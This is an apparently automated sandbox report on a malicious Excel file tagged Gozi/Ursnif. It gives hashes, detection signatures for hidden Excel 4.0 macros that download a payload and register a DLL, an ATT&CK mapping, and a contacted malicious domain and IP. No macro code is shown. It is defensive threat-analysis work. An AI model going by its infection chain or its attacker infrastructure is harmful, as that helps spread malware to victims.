Play interactive tour
Edit tourAnalysis Report document-1423769819.xls
Overview
General Information
| Sample Name: | document-1423769819.xls |
| Analysis ID: | 324305 |
| MD5: | 1d20db444db998eae5a4970482e0f177 |
| SHA1: | dd4e3b177804910b5a42b4377a1913fcca85baad |
| SHA256: | 31d3a487f454a78f2ed78b95c309a6841052e010ea33fcc53f1faba5d22d11f6 |
| Tags: | goziSilentBuilderursnifxls |
Most interesting Screenshot:  | |
Detection
Hidden Macro 4.0
| Score: | 80 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found obfuscated Excel 4.0 Macro
Sigma detected: Microsoft Office Product Spawning Windows Shell
Yara detected hidden Macro 4.0 in Excel
Allocates a big amount of memory (probably used for heap spraying)
Document contains embedded VBA macros
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Yara signature match
Classification
Startup |
|---|
|
Malware Configuration |
|---|
| No configs have been found |
|---|
Yara Overview |
|---|
Initial Sample |
|---|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| SUSP_Excel4Macro_AutoOpen | Detects Excel4 macro use with auto open / close | John Lambert @JohnLaTwC |
| |
| JoeSecurity_HiddenMacro | Yara detected hidden Macro 4.0 in Excel | Joe Security |
Sigma Overview |
|---|
System Summary: |   |
|---|
| Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources | ||
| Source: | Author: Michael Haag, Florian Roth, Markus Neis: | ||
Signature Overview |
|---|
Click to jump to signature section
Show All Signature Results
AV Detection: | |
|---|
| Multi AV Scanner detection for submitted file | Show sources | ||
| Source: | Virustotal: | Perma Link | ||
Software Vulnerabilities: | |
|---|
| Document exploit detected (UrlDownloadToFile) | Show sources | ||
| Source: | Section loaded: | Jump to behavior | ||
| Document exploit detected (process start blacklist hit) | Show sources | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Memory has grown: | ||
| Source: | DNS query: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | IP Address: | ||
| Source: | JA3 fingerprint: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
System Summary: | |
|---|
| Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Found Excel 4.0 Macro with suspicious formulas | Show sources | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Found obfuscated Excel 4.0 Macro | Show sources | ||
| Source: | Initial sample: | ||
| Source: | OLE indicator, VBA macros: | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Matched rule: | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | OLE indicator, Workbook stream: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Virustotal: | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Process created: | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
HIPS / PFW / Operating System Protection Evasion: | |
|---|
| Yara detected hidden Macro 4.0 in Excel | Show sources | ||
| Source: | File source: | ||
Mitre Att&ck Matrix |
|---|
| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Valid Accounts | Scripting21 | DLL Side-Loading1 | Process Injection1 | Regsvr321 | OS Credential Dumping | File and Directory Discovery1 | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Encrypted Channel2 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
| Default Accounts | Exploitation for Client Execution23 | Boot or Logon Initialization Scripts | DLL Side-Loading1 | Masquerading1 | LSASS Memory | System Information Discovery2 | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Bluetooth | Non-Application Layer Protocol1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
| Domain Accounts | At (Linux) | Logon Script (Windows) | Extra Window Memory Injection1 | Disable or Modify Tools1 | Security Account Manager | Query Registry | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Application Layer Protocol2 | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
| Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Process Injection1 | NTDS | System Network Configuration Discovery | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud | |
| Cloud Accounts | Cron | Network Logon Script | Network Logon Script | Scripting21 | LSA Secrets | Remote System Discovery | SSH | Keylogging | Data Transfer Size Limits | Fallback Channels | Manipulate Device Communication | Manipulate App Store Rankings or Ratings | |
| Replication Through Removable Media | Launchd | Rc.common | Rc.common | DLL Side-Loading1 | Cached Domain Credentials | System Owner/User Discovery | VNC | GUI Input Capture | Exfiltration Over C2 Channel | Multiband Communication | Jamming or Denial of Service | Abuse Accessibility Features | |
| External Remote Services | Scheduled Task | Startup Items | Startup Items | Extra Window Memory Injection1 | DCSync | Network Sniffing | Windows Remote Management | Web Portal Capture | Exfiltration Over Alternative Protocol | Commonly Used Port | Rogue Wi-Fi Access Points | Data Encrypted for Impact |
Behavior Graph |
|---|
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetScreenshots |
|---|
Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
|---|
Initial Sample |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 34% | Virustotal | Browse | ||
| 11% | Metadefender | Browse | ||
| 4% | ReversingLabs | Document-Word.Trojan.Heuristic |
Dropped Files |
|---|
| No Antivirus matches |
|---|
Unpacked PE Files |
|---|
| No Antivirus matches |
|---|
Domains |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 1% | Virustotal | Browse |
URLs |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Virustotal | Browse | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Virustotal | Browse | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe |
Domains and IPs |
|---|
Contacted Domains |
|---|
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| birdexim.com | 103.21.59.169 | true | false |
| unknown |
URLs from Memory and Binaries |
|---|
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high |
Contacted IPs |
|---|
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
Public |
|---|
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 103.21.59.169 | unknown | United Arab Emirates | 394695 | PUBLIC-DOMAIN-REGISTRYUS | false |
General Information |
|---|
| Joe Sandbox Version: | 31.0.0 Red Diamond |
| Analysis ID: | 324305 |
| Start date: | 29.11.2020 |
| Start time: | 04:56:29 |
| Joe Sandbox Product: | CloudBasic |
| Overall analysis duration: | 0h 4m 19s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Sample file name: | document-1423769819.xls |
| Cookbook file name: | defaultwindowsofficecookbook.jbs |
| Analysis system description: | Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211 |
| Run name: | Potential for more IOCs and behavior |
| Number of analysed new started processes analysed: | 21 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal80.expl.evad.winXLS@3/6@1/1 |
| EGA Information: | Failed |
| HDC Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
| Warnings: | Show All
|
Simulations |
|---|
Behavior and APIs |
|---|
| No simulations |
|---|
Joe Sandbox View / Context |
|---|
IPs |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 103.21.59.169 | Get hash | malicious | Browse | ||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse |
Domains |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| birdexim.com | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
ASN |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| PUBLIC-DOMAIN-REGISTRYUS | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
JA3 Fingerprints |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
Dropped Files |
|---|
| No context |
|---|
Created / dropped Files |
|---|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 129952 |
| Entropy (8bit): | 5.3783391564677 |
| Encrypted: | false |
| SSDEEP: | 1536:UcQceNWiA3gZwLpQ9DQW+zAUH34ZldpKWXboOilXPErLL8TT:GmQ9DQW+zBX8u |
| MD5: | BC606624DA9B5EA5884C01F8AF3578DD |
| SHA1: | EF8AFB2A1398ECD14BA778AFE8EEF75588B1CE62 |
| SHA-256: | 73BEBA311BC9917AAE022CC28B08533D6EA2C21ECF7A7ADA9430C031A27971D1 |
| SHA-512: | 84CA127E30100E529C45F3FD4160F277221B81DAF1A7F8EF6CFD1FC658301FBCBC7E53551C360CB9B6BBC02E499A530F129AA2216C3E67F20FC784D77F365315 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 315486 |
| Entropy (8bit): | 7.983945652107353 |
| Encrypted: | false |
| SSDEEP: | 6144:YBGsiFrFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+MQd:VlFFPM8R3AsB+bjej/9c7 |
| MD5: | 3F6BB9010063A3A8773ECF27E8D6E210 |
| SHA1: | 735EBF79C1C20CD324D557A52233CF3447C1BE1A |
| SHA-256: | BFE193943B76BAEAAC23FA15937ECACDF36C4F4FAA1B9EE5F8AACD42CC12175F |
| SHA-512: | 3623DAF01208197B307524CFA0497D30006C480D53743F384D35FEBB535E99C419EEFE9C22AD2F8B6FFD16BDBBD95F7D2EEE20062424BD8DABCFD19277407035 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 904 |
| Entropy (8bit): | 4.643212690215329 |
| Encrypted: | false |
| SSDEEP: | 12:8ulXUlOcuElPCH2vQpY3GkYcu+w+WrjAZ/2bDmTLC5Lu4t2Y+xIBjKZm:80CGeGxAZiDm687aB6m |
| MD5: | 935635881D9A30F6BB661599ACF19BD5 |
| SHA1: | 381FA588E9CAF4E5DA09155A0659F43021778350 |
| SHA-256: | 66E608B41C6E5C9711564294B1E0160B3356AC85FB7F57886B520A2102818B5B |
| SHA-512: | 4FCAE35156FABB213847ED25AFC5C86DC62093225CC197F53911517A2B3EA2ACEF82991EC823FC4F9532B3D9667D912C6FB14DF81CB5F8EA97FBA4167E4F045A |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 4400 |
| Entropy (8bit): | 4.708699220764165 |
| Encrypted: | false |
| SSDEEP: | 48:8vK/5jRkSITB6pvK/5jRkSITB6pvW/5jRkSITB6pvW/5jRkSITB6:8CBOTKCBOTKuBOTKuBOT |
| MD5: | 196BBEC92B38A3167335FDA7B976723A |
| SHA1: | D3E7FEC57AA94C53757E73CC04C699E899E95EE1 |
| SHA-256: | 6F5E464B3605DE62E9EF1BF23438F979738EE4303433D86A7286169D6D0CB50A |
| SHA-512: | 841C1E8478A81B53A18BF9385310DE8B03FB5FCE6A9CFCA4805E1E2C7264794E1F659754F401ECE9ACC48DBC8FB7483EB745A4ACC488210E85242D4823E0840C |
| Malicious: | true |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | modified |
| Size (bytes): | 260 |
| Entropy (8bit): | 4.8908552905647555 |
| Encrypted: | false |
| SSDEEP: | 6:dj6Y9LL81ELL8PY9LL81ELL8PY9LL81ELL8PY9LL8L:dmK8G8PK8G8PK8G8PK8L |
| MD5: | 0C5676F069A253176D80C0CBD6134B04 |
| SHA1: | 6CA0673F8DC3A80B8BCA32B33B5F507409A6B0B6 |
| SHA-256: | 2EC6527C137DE7DA4D3C2449C1E226B8D035FCC7E19FA107D8AAA0C4C7CF16CB |
| SHA-512: | 1550C74AADCF28E934ADD07B091F243019CFD11168AAB3B33137DB21A709C14678370C776224C312BB015032F17E8D2301EF1E4C2969785DB4C5E0322839829B |
| Malicious: | false |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 401499 |
